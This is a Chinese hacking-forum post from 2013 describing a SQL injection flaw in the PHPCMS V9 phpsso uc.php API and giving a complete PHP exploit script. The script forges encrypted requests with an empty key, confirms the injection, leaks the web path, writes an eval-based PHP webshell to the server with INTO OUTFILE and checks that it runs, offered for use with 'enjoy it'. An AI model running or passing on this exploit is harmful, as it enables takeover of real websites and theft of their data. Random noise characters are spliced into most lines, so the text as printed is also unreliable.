找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1887|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。- V2 K( C& H# U0 L" c! N2 m9 r! @$ ~

" @) s+ X$ u9 l# D所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
8 V6 {9 x3 P9 b1 B( p: {
) x, Q3 f6 H7 `8 v1 j3 }4 S漏洞分析:
! j! c* B; W# ~5 H( J, k7 R1.未启用ucenter服务的情况下uc_key为空
6 z6 C; U2 N8 K# Q3 B' V( qdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));
3 Q8 A* P% H" u" f* E' X2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
. o& F; w9 e: V) A    public function deleteuser($get,$post) {4 ^0 \) I; v! f9 ?" {
        pc_base::load_app_func('global', 'admin');( L9 O) v: j4 q; D0 ?6 V
        pc_base::load_app_class('messagequeue', 'admin' , 0);" ~3 z  n, c: C9 X+ r) ^# x5 W
        $ids = new_stripslashes($get['ids']);! S+ Z, G9 R$ i7 V! U) L6 N/ l
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");) L% {- K4 _% I9 P
SQL语句为! D3 p4 H6 Y9 K, s
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)2 Q" ~8 B$ X0 @- s1 D, `# ^

' `( z5 I! [1 d8 p% m利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
9 s" g' J* B; ?- f. U* n: q<?php
2 p9 e4 n5 A9 [, K: xprint_r('3 F5 ~  C/ @) S
---------------------------------------------------------------------------) A! V& [  Z) c. v; v' o* }
PHPcms (v9 or Old Version) uc api sql injection 0day
$ T$ g1 u% O3 R" O! t( Qby rayh4c#80sec.com
: p% j5 k% i0 I---------------------------------------------------------------------------5 z9 V4 @' ^5 y4 Y, t2 d
');
: C4 ]0 V, f! Z' h# V
+ n8 A8 Z! I9 S8 l+ Y$ `, \+ Iif ($argc<3) {# B# [* e- l" z1 k! P; |; ?
    print_r('
, s  g0 K8 P8 Q% U) W---------------------------------------------------------------------------( B2 h8 M( I" _' G/ ~
Usage: php '.$argv[0].' host path OPTIONS& T4 B; ^: U+ P  {) F- k5 g
host:      target server (ip/hostname); E7 Y  H4 e; l6 o- X+ t# T
path:      path to phpcms
  l% t$ ]0 v* d1 \Options:
" h/ B( X/ x/ t -p[port]:    specify a port other than 80
3 g* d; O* y& b+ ^1 `) D: x -P[ip:port]: specify a proxy
- g0 N1 R) n# s  V" kExample:* Y/ \$ K/ q" ?9 H9 P- G
php '.$argv[0].' localhost /: t4 q, J5 w+ t0 v( E. A: {
php '.$argv[0].' localhost /phpcms/ -p81+ u! c: h  Y# @0 g8 d' W3 Y+ J
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80- W/ |9 p$ f4 B6 a# M2 [( ?
---------------------------------------------------------------------------
& t6 @) ~* _- |4 `/ T');
: x, J7 l2 r1 ^' f2 a$ A, Y, `: ]    die;
# R0 ~& C, R1 [& N' f* V) \) A5 z6 |}1 @% |( O. c! I& U
, L4 Z+ P. v3 d
error_reporting(7);  \9 |# _$ Q1 i
ini_set("max_execution_time",0);6 r1 }. `# z3 Y" o! M# z! ^
ini_set("default_socket_timeout",5);3 T, B. g% r) q- y3 q

6 a4 m* e. k+ \$ W$ gfunction quick_dump($string)
5 b# R4 W, i" a! M$ p% U{/ X: f/ Z- `/ a* f! M7 h
  $result='';$exa='';$cont=0;5 S- v# J, L: P, c& C& O
  for ($i=0; $i<=strlen($string)-1; $i++)
6 K5 B! ~* G8 \# z! @  {
+ K. i, L/ C; u0 ?* c: ?   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
$ L2 F7 |* f5 e; X! y   {$result.="  .";}
8 T0 \$ {( `( J- H, B   else: p7 n; T9 g. u1 a7 b
   {$result.="  ".$string[$i];}: v* }& L' |! ]: a4 x4 _9 d+ ^
   if (strlen(dechex(ord($string[$i])))==2)
; D4 R! N% }6 U* w) c( H# c   {$exa.=" ".dechex(ord($string[$i]));}+ t* [8 B% V, P( V5 h' M* h
   else( G' K: k2 N- X4 ]  b# H
   {$exa.=" 0".dechex(ord($string[$i]));}& Z" M3 p- X- J0 f
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
, P" L& D% G1 r# S5 ~4 U  }: u. w( c" V2 }3 r
return $exa."\r\n".$result;
( Q) r  J$ }- C}" n6 b% ~9 v: @0 y& n9 _  n5 G
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';: l; N$ ]: `6 S5 s

$ v) F9 Y* l3 g3 L$ dfunction send($packet). W5 v" E4 b. }& |2 j: E& t
{
, J+ I$ l+ q+ C$ d6 S  global $proxy, $host, $port, $html, $proxy_regex;8 S7 m( |" N( b) ?# ?1 M
  if ($proxy=='') {
8 u: V8 y8 S7 \1 ^9 V    $ock=fsockopen(gethostbyname($host),$port);9 H( m1 Q: m" U1 V' o% V/ W
    if (!$ock) {
! V9 b3 L) v. c  o- ^% ?      echo 'No response from '.$host.':'.$port; die;* _3 h3 T; R) ]8 \* k/ [
    }4 B7 }  J' S2 a) Q) b1 i) c- L
  }
$ k- C6 J/ u# ^% ?1 B  else {4 a4 a$ g' x, F; Y
        $c = preg_match($proxy_regex,$proxy);
: n( z$ r- S; d    if (!$c) {+ D+ U' F8 Q, n6 V$ f
      echo 'Not a valid proxy...';die;
1 P# L- J2 F9 l7 @, U8 E, R    }% f6 T$ v% I7 {  C
    $parts=explode(':',$proxy);) i$ x) M% J' d% d2 k5 u4 u' d7 l
    $parts[1]=(int)$parts[1];' z4 F- s& }" `# v
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
& y7 M: |$ o1 U3 N1 ?" U    $ock=fsockopen($parts[0],$parts[1]);
  M3 |) T$ V3 {. d& [: m1 N0 v# b- n    if (!$ock) {/ f9 M6 k; X; r3 c
      echo 'No response from proxy...';die;
0 h& f3 c/ Z4 ~$ G        }# W. V7 [6 S0 u/ {
  }
. M4 i& U, G' p  fputs($ock,$packet);8 ?% ^; Z& o8 x6 V4 u* D
  if ($proxy=='') {: V1 ^4 u( u6 d" e6 t' Q
    $html='';
! X5 O  f* s/ Y& a- _    while (!feof($ock)) {1 s$ T5 K1 f* P, T
      $html.=fgets($ock);
3 q8 s0 v- j7 B  y8 }) S  l    }
( P4 u! a8 U$ }- P) N  }6 @/ a" K; U9 ]2 M( O, ~
  else {  b" U$ \+ G7 M( S0 d
    $html='';
3 h1 t$ q8 L7 L2 R) e0 X: F    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
' p5 U* m% C  v# G) z5 M9 r# z, T      $html.=fread($ock,1);
" s5 R" p7 ~; f6 }0 G6 d) G3 m/ @    }$ R. N7 p% T- D! G( _  w1 X
  }3 @2 M* w' O  ?, N( Y9 {1 q
  fclose($ock);
7 g+ B* R0 l6 P}7 E6 }* o& d) T7 c5 Z$ q2 A  o/ [

/ V: L  s" s- V1 e/ Z) H9 g$host=$argv[1];* W  s) t5 p- K# \
$path=$argv[2];) o: r, _6 o" |: n% L/ @8 U
$port=80;  {  }6 }7 I( N
$proxy="";& ^( _" ~" t  f8 ]8 h* c# _; V
for ($i=3; $i<$argc; $i++){
0 x6 A) A' S5 h/ [- w6 C4 J4 ]. j2 a$temp=$argv[$i][0].$argv[$i][1];
3 z, e! I, G3 K+ I5 l( \7 Rif ($temp=="-p")
+ l- A; Y, H: J5 F6 E+ ~- f6 o0 b{% m( {0 I/ a$ m$ ?. {
  $port=(int)str_replace("-p","",$argv[$i]);
, i3 V1 s3 v, D/ g, ?}( d* }8 g7 y/ E4 x/ \
if ($temp=="-P")
0 M6 G* T4 i5 N5 D{
( f* w# k$ {  i- j2 Y2 _9 h  $proxy=str_replace("-P","",$argv[$i]);! z$ h- A$ t% F
}
0 P1 H5 V7 h. N' x- \8 ?}1 J9 q/ M7 p' r% n

* |. G) i; D9 H/ ]% F8 C2 Hif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}5 q4 f0 U: H6 A! R  z+ T: G) L
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}: q7 i. Y% ?' s/ b

9 O1 e' {( U% ^  R3 `function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {  y% `5 U3 c# \  l6 E0 G) Y" h  ~

) B+ A6 M0 L& e, k; q' e; z/ c    $ckey_length = 4;
3 [! h6 n, Z" ~0 @* K' A: Q
% `5 S8 D7 _" E% |" H    $key = md5($key ? $key : '');# R6 B- J% q3 W+ ~9 h# P- V
    $keya = md5(substr($key, 0, 16));
* A1 Q4 S- d5 C$ A7 u    $keyb = md5(substr($key, 16, 16));% n  [/ H7 S1 [& l. H
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
, K, Q+ i7 m) s2 K- U9 V5 n& o$ `) l1 A0 v5 c: [! l# o
    $cryptkey = $keya.md5($keya.$keyc);4 |" U# W; S2 N+ j5 ?
    $key_length = strlen($cryptkey);% k2 p0 g, q( B" G  F3 Q/ }, s/ d
0 a& K# d6 }( W1 R" K
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
; Z4 @4 l8 k3 t0 j. W    $string_length = strlen($string);1 t1 R1 K# q/ j# s% Y" x# J

: ]: r8 t; `. r6 |  ~4 x# N    $result = '';
$ ^3 m2 z3 o+ f" n, Y. d    $box = range(0, 255);
, q# q1 k; n/ h8 p. k: s: e9 ]1 v  i- D5 F  ^6 N$ C
    $rndkey = array();$ A! e9 h; h: r
    for($i = 0; $i <= 255; $i++) {- |% ~5 {. [# u; U% G; x. G8 ?
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);, D( J$ o& K/ o
    }
! A: c0 b* e0 L2 B/ c& R, T, I9 X7 t- g# b
    for($j = $i = 0; $i < 256; $i++) {+ Y. `! r9 u: f3 g
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
& T7 K$ N/ I0 b$ p% E9 C6 \$ t        $tmp = $box[$i];9 a+ r% n, b$ R" k8 E5 M
        $box[$i] = $box[$j];
/ b% \: O: w& I2 \. X        $box[$j] = $tmp;0 z7 k* u' V3 s+ t. ?2 N
    }
  H" h) X* m& s0 o3 f: h/ d+ l, `5 v( ^  g, V. P$ T
    for($a = $j = $i = 0; $i < $string_length; $i++) {
$ N/ \* d4 k5 Z5 L        $a = ($a + 1) % 256;# M9 N; M5 A3 g* x- a
        $j = ($j + $box[$a]) % 256;0 S# K8 q* Y! h3 G) S
        $tmp = $box[$a];
, n' K& v! I1 `        $box[$a] = $box[$j];; p, s* M0 b7 j6 [) o# G8 P: z
        $box[$j] = $tmp;
1 S+ P4 R- ?3 G' T1 q3 O+ m        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));" A2 c% H% E' N
    }* X: r9 f/ w( F% K* ~; ?5 q

. n7 H/ q, P" p    if($operation == 'DECODE') {& B) p. u5 W( [" u, _/ H
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
: ^8 \. t! O& I4 n. ?- M/ a            return substr($result, 26);
9 {9 X& k( {; E- e/ ]        } else {( H0 h( n- M. T9 Y+ Y  z+ s& S
            return '';/ J/ \7 }# o, O" b
        }8 U+ g, O6 C2 H  ?5 Q! [5 U
    } else {
6 f+ r9 ]8 F6 w2 e* ^6 u        return $keyc.str_replace('=', '', base64_encode($result));
9 P; q5 Q3 v. b2 Y- V* }    }/ V$ l4 `5 W) j/ R; B% I" a

: g  k6 ~8 n8 p) P' v}
; {  R- q* |, Z7 J4 |1 e8 y. F9 z+ q( r1 f$ u' v: O
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";! U; t* S' i0 m7 q" L* r% w
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
; |. o0 h+ I% a& ~3 P/ ^echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
" r" l: d" |+ y: s3 J- M4 F$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";: Q/ c8 `4 P$ a
$packet.="User-Agent: Mozilla/5.0\r\n";; Q( }5 C; p$ ^3 O. R
$packet.="Host: ".$host."\r\n";5 l+ N# v  L; ^5 B0 _) A8 O
$packet.="Connection: Close\r\n\r\n";
8 [! k7 z0 I; \5 E' `send($packet);
- H  _* X5 c- |" e4 q5 [! ]if(strpos($html,"MySQL Errno") > 0){
8 _" z& z0 H. \) ]6 Zecho "[2] 发现存在SQL注入漏洞"."\n";
& O: q* a9 G  @echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";$ n8 b/ x4 [( e) H- R2 D
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
! ?5 x; t( t! P* x0 E2 P$packet.="User-Agent: Mozilla/5.0\r\n";  `2 k7 \7 s- {- ^5 r
$packet.="Host: ".$host."\r\n";
  k7 o* p# X5 d$ |: {$packet.="Connection: Close\r\n\r\n";+ m% l# |+ G+ g" T& h) l; ~2 d; O! Y
send($packet);8 F7 q% f* r$ |6 ]/ z1 i2 k3 W
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
0 [" I, O& I' A4 |, y//print_r($matches);1 Q8 y- w- Y/ |0 X
if(!empty($matches)){
2 E9 L6 _! ]9 x+ V( Mecho "[4] 得到web路径 " . $matches[0]."\n";" }& g! m) M* Q' K$ k
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
6 @* R( d; H4 v; a# r7 N' V. V& v& e$ _$SQL = "time=999999999999999999999999&ids=1)";* `4 W8 o" X) s# }: \5 s6 |  _
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
# {# w+ s, i+ _8 s+ ^) b6 F4 Z) O$SQL.="&action=deleteuser";
4 M- R, {% r) P$SQL = urlencode(authcode($SQL, "ENCODE", ""));
* K* }, e" J' X% x0 r" |$ [' H3 cecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
8 @$ V  o3 z0 _' Y. ?3 }/ t$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
* {2 L$ U; Z! K& M/ m. @0 \! N$packet.="User-Agent: Mozilla/5.0\r\n";& k  c; |. a8 |% |* L& \! ~( X
$packet.="Host: ".$host."\r\n";! O6 G) `. O) v5 u
$packet.="Connection: Close\r\n\r\n";
8 x" c# A9 M: W+ Isend($packet);7 x( G1 E& f' [
if(strpos($html,"Access denied") > 0){
3 S9 r% c4 }5 _/ r- [$ Kecho "[-] MYSQL权限过低 禁止写入文件 ";, ]9 h" R5 F" I6 a8 R
die;0 C; N/ C* u( B$ z7 G2 s: N
}" a0 j6 j% n9 _. }: F3 k' U
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";  f4 c. A. B/ H
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";7 E6 H1 I, L) h4 A# w! d- S- [6 O2 h
$packet.="User-Agent: Mozilla/5.0\r\n";+ m% [6 m# L6 V0 v' G5 n
$packet.="Host: ".$host."\r\n";
( {' I( [, Q3 f" M, K$packet.="Connection: Close\r\n\r\n";
( x' V4 ^0 h0 {2 n6 C, ysend($packet);' v* T( U5 o0 q/ ^3 t5 o
if(strpos($html,"<title>phpinfo()</title>") > 0){8 z6 b4 _; _  E  f
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
6 E; W: Y% L8 n  t- {7 f}
3 o4 D& G* _0 n, G  G) `/ u}else{' l+ B+ E2 A- J( V! o' ?6 u
echo "[-]未取到web路径 ";
" m2 p& j# _! _9 i; n. L/ X' t}7 e5 _0 ^8 v4 K' v/ n
}else{+ K' O6 ~. N6 {3 i( _3 `% m) {
echo "[*]不存在SQL注入漏洞"."\n";& D/ T) Y" _$ c) U2 a5 Z
}
5 J$ g8 J7 e. I% B
: [! @7 q- M1 Y?>
8 ^5 m6 S/ e1 T# J% B" ^; D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表